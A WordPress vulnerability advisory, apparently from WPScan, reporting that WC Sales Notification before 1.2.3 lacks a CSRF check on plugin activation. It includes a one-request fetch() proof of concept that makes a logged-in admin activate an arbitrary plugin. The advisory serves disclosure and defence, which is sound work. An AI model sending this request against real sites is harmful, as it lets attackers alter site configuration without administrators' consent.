Lucene search

K
wpvulndbWpvulndbWPVDB-ID:356C89A1-81B6-4600-9291-1A74788AF7F9
HistoryFeb 28, 2023 - 12:00 a.m.

WC Sales Notification < 1.2.3 - Arbitrary Plugin Activation via CSRF

2023-02-2800:00:00
wpscan.com
1
woocommerce
sales
notification
arbitrary
plugin
activation
csrf
attack
security
vulnerability

0.001 Low

EPSS

Percentile

29.4%

The plugin does not have CSRF check when activating plugins, which could allow attackers to make logged in admins activate arbitrary plugins present on the blog via a CSRF attack

PoC

fetch(‘https://example.com/wp-admin/admin-ajax.php’, { method: ‘POST’, headers: new Headers({ ‘Content-Type’: ‘application/x-www-form-urlencoded’, }), body: ‘action=wcsalesnotification_ajax_plugin_activation&location;=woocommerce/woocommerce.php’, redirect: ‘follow’ }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log(‘error’, error));

CPENameOperatorVersion
wc-sales-notificationlt1.2.3

0.001 Low

EPSS

Percentile

29.4%

Related for WPVDB-ID:356C89A1-81B6-4600-9291-1A74788AF7F9